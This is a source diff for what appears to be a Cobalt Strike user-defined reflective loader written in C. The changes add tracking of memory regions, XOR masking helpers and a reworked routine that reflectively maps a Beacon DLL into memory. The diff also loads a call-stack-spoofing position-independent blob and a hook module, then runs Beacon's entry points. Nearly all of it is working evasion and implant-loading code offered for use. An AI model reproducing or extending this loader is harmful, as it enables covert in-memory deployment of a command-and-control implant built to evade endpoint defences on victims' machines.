g_dllBase = dllBase;
g_dllSize = dllsz;
if (layout != NULL) {
g_layout = *layout;
}
init_frame_info();
}
+7
View File
@@ -0,0 +1,7 @@
#include <windows.h>
#include "memory.h"
void applyxor(char * data, DWORD len);
void xorsection(MEMORY_SECTION * section, BOOL mask);
void xorregion(MEMORY_REGION * region, BOOL mask);
void xormemory(BOOL mask);
+138 -54
View File
@@ -29,6 +29,7 @@ __attribute__((noinline, no_reorder)) void go() {
#include "hash.h"
#include "resolve_eat.h"
#include "proxy.h"
#include "memory.h"
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
@@ -126,11 +127,21 @@ typedef struct {
char value[];
} RESOURCE;
char __DLLDATA__[0] __attribute__((section("my_data")));
char __PICDATA__[0] __attribute__((section("my_proxy")));
char __HOKDATA__[0] __attribute__((section("my_hooks")));
typedef struct {
#if DEBUG
char data[8192];
char code[16384];
#else
char data[4096];
char code[12288];
#endif
} PICO;
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, char * dllbase, DWORD dllsz);
char __POSTEX__[0] __attribute__((section("beacon")));
char __DRAUGR__[0] __attribute__((section("draugr")));
char __HOOKS__[0] __attribute__((section("hooks")));
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout);
char * loader_start() {
#ifdef WIN_X86
@@ -140,13 +151,6 @@ char * loader_start() {
#endif
}
typedef struct {
char draugrpic[4096];
char hookdata[4096];
char hookcode[12288];
char dllbase[0];
} LAYOUT;
void __attribute__((naked)) workCallback()
{
__asm__ __volatile__ (
@@ -223,79 +227,159 @@ void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect
#include "debug.h"
#endif
void reflectiveLoader(WIN32FUNCS * funcs, LAYOUT * layout, char * dll, DLLDATA * dllData)
void fixSectionMemoryPermissions(DLLDATA * dll, char * src, char * dst, WIN32FUNCS * funcs, MEMORY_REGION * region)
{
char * hooks;
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD sectionSize = 0;
DWORD newProtect = 0;
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->SizeOfRawData;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtect = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtect = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtect = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtect = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtect = PAGE_EXECUTE_READWRITE;
}
/* set new permission */
protect_memory_threadpool(sectionDst, sectionSize, newProtect, funcs);
/* track memory */
region->sections[x].baseAddress = sectionDst;
region->sections[x].size = sectionSize;
region->sections[x].currentProtect = newProtect;
region->sections[x].previousProtect = newProtect;
/* advance to our next section */
sectionHdr++;
}
}
void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
{
char * hookSrc;
PICO * hookDst;
char * beaconSrc;
DLLDATA beaconData;
char * beaconDst;
/* Time to load the hook PICO */
hooks = GETRESOURCE(__HOKDATA__);
hookSrc = GETRESOURCE(__HOOKS__);
#ifdef DEBUG
PIC_STRING(picosz, "[UDRL] HookPicoDataSize: %d\nHookPicoCodeSize: %d\n");
dprintf((IMPORTFUNCS *)funcs, picosz, PicoDataSize(hooks), PicoCodeSize(hooks));
#endif
/* Allocate memory for it */
hookDst = (PICO *)allocate_memory_threadpool(sizeof(PICO), PAGE_READWRITE, funcs);
/* Load it into the layout */
PicoLoad((IMPORTFUNCS *)funcs, hooks, layout->hookcode, layout->hookdata);
/* Load it into memory */
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
/* Make the code section RX */
protect_memory_threadpool(layout->hookcode, PicoCodeSize(hooks), PAGE_EXECUTE_READ, funcs);
protect_memory_threadpool(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ, funcs);
/* Call its entry point */
((PICOHOOK_ENTRY)PicoEntryPoint(hooks, layout->hookcode))((IMPORTFUNCS *)funcs, layout->dllbase, SizeOfDLL(dllData));
/* Fill layout info */
layout->hooks.baseAddress = (char *)hookDst;
layout->hooks.size = sizeof(PICO);
layout->hooks.sections[0].baseAddress = hookDst->data;
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
layout->hooks.sections[1].baseAddress = hookDst->code;
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
/* Get PICO entry point */
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
/* Call it to install the hooks */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Now load the DLL */
LoadDLL(dllData, dll, layout->dllbase);
ProcessImports((IMPORTFUNCS *)funcs, dllData, layout->dllbase);
beaconSrc = GETRESOURCE(__POSTEX__);
/* Get its entry point */
DLLMAIN_FUNC entryPoint = EntryPoint(dllData, layout->dllbase);
/* Parse the headers */
ParseDLL(beaconSrc, &beaconData);
/* yolo this RWX for now */
protect_memory_threadpool(layout->dllbase, SizeOfDLL(dllData), PAGE_EXECUTE_READWRITE, funcs);
/* Allocate memory for Beacon */
beaconDst = allocate_memory_threadpool(SizeOfDLL(&beaconData), PAGE_READWRITE, funcs);
/* Call it twice for Beacon */
entryPoint((HINSTANCE)layout->dllbase, DLL_PROCESS_ATTACH, NULL);
entryPoint((HINSTANCE)loader_start(), DLL_BEACON_START, NULL);
/* Load it into memory */
LoadDLL(&beaconData, beaconSrc, beaconDst);
ProcessImports((IMPORTFUNCS *)funcs, &beaconData, beaconDst);
layout->beacon.baseAddress = beaconDst;
layout->beacon.size = SizeOfDLL(&beaconData);
/* Fix section memory permissions */
fixSectionMemoryPermissions(&beaconData, beaconSrc, beaconDst, funcs, &layout->beacon);
/* Call hook entry point again to provide the updated memory layout */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Get Beacon's entry point */
DLLMAIN_FUNC beaconEntry = EntryPoint(&beaconData, beaconDst);
/* Call it twice */
beaconEntry((HINSTANCE)beaconDst, DLL_PROCESS_ATTACH, NULL);
beaconEntry((HINSTANCE)loader_start(), DLL_BEACON_START, NULL);
}
void setupProxy()
{
WIN32FUNCS funcs;
char * dll;
DLLDATA dllData;
LAYOUT * layout;
RESOURCE * pic;
WIN32FUNCS funcs;
RESOURCE * picSrc;
char * picDst;
MEMORY_LAYOUT layout;
/* Resolve functions */
findNeededFunctions(&funcs);
/* Grab the DLL because we need its size */
dll = GETRESOURCE(__DLLDATA__);
/* Grab the Draugr PIC */
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
/* Parse the headers */
ParseDLL(dll, &dllData);
/* Allocate memory for it */
picDst = allocate_memory_threadpool(picSrc->length, PAGE_READWRITE, &funcs);
/* Allocate memory for everything we'll load */
layout = (LAYOUT *)allocate_memory_threadpool(sizeof(LAYOUT) + SizeOfDLL(&dllData), PAGE_READWRITE, &funcs);
#ifdef DEBUG
PIC_STRING(mem, "[UDRL] draugrpic @ 0x%lp\nhookdata @ 0x%lp\nhookcode @ 0x%lp\ndllbase @ 0x%lp\n");
dprintf((IMPORTFUNCS *)&funcs, mem, layout->draugrpic, layout->hookdata, layout->hookcode, layout->dllbase);
#if DEBUG
PIC_STRING(dst, "PIC @ 0x%lp\n");
dprintf((IMPORTFUNCS *)&funcs, dst, picDst);
#endif
/* Grab the Draugr PIC */
pic = (RESOURCE *)GETRESOURCE(__PICDATA__);
/* Copy it into memory */
memcpy(layout->draugrpic, pic->value, pic->length);
memcpy(picDst, picSrc->value, picSrc->length);
/* Flip memory to RX */
protect_memory_threadpool(layout->draugrpic, pic->length, PAGE_EXECUTE_READ, &funcs);
protect_memory_threadpool(picDst, picSrc->length, PAGE_EXECUTE_READ, &funcs);
/* Set funcs field */
funcs.Draugr = (DRAUGR)(layout->draugrpic);
funcs.Draugr = (DRAUGR)(picDst);
/* Begin filling memory layout info */
layout.pic.baseAddress = picDst;
layout.pic.size = picSrc->length;
/* Carry on loading the rest */
reflectiveLoader(&funcs, layout, dll, &dllData);
reflectiveLoader(&funcs, &layout);
}
-3
View File
@@ -203,9 +203,6 @@ DWORD SizeOfDLL(DLLDATA * data) {
}
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
/* copy our headers over to the destination address, if we wish */
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
/* load our section data */
LoadSections(dll, src, dst);
+20
View File
@@ -0,0 +1,20 @@
#include <windows.h>
typedef struct {
void * baseAddress;
SIZE_T size;
DWORD currentProtect;
DWORD previousProtect;
} MEMORY_SECTION;
typedef struct {
void * baseAddress;
SIZE_T size;
MEMORY_SECTION sections[5];
} MEMORY_REGION;
typedef struct {
MEMORY_REGION pic;
MEMORY_REGION hooks;
MEMORY_REGION beacon;
} MEMORY_LAYOUT;